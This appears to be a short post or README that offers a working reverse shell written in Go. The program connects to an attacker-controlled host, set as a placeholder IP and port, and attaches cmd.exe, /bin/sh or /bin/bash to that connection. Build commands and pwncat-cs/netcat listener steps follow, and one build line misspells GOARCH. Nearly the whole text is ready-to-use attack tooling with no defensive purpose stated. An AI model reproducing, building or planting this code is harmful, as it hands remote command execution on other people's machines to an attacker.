Just a simple reverse shell in Go. Can be used with pwncat-cs.
package main
import (
"net"
"os/exec"
"runtime"
)
func main() {
// Establish connection to attacking host
conn, err := net.Dial("tcp", "127.0.0.1:443")
if err != nil {
panic(err)
}
// Determine which shell to use
var shell string
switch runtime.GOOS {
case "windows":
shell = "cmd.exe"
case "linux":
shell = "/bin/sh"
case "darwin":
shell = "/bin/bash"
}
// Run shell command, pointing file descriptors to remote connection
cmd := exec.Command(shell)
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
Remember to change IP and port before use / building the reverse shell.
func main() {
// Establish connection to attacking host
conn, err := net.Dial("tcp", "YOUR_ATTACK_IP:YOUR_ATTACK_PORT")
if err != nil {
panic(err)
}
Compile like so
$ GOOS=$target_os GOARCH=$target_arch go build reverse_shell.go
#eg
GOOS=linux GOARC=amd64 go build reverse_shell.go
Or, run it from go like this
go run reverse_shell.go
You can use netcat or as I said, pwncat-cs. From pwncat setup a listener.
listener --platform linux <attackport>
Note, this is not tested on OSX / Windows yet, so more will come later, when i get some time to get it done, but have fun ;)
/NoExecute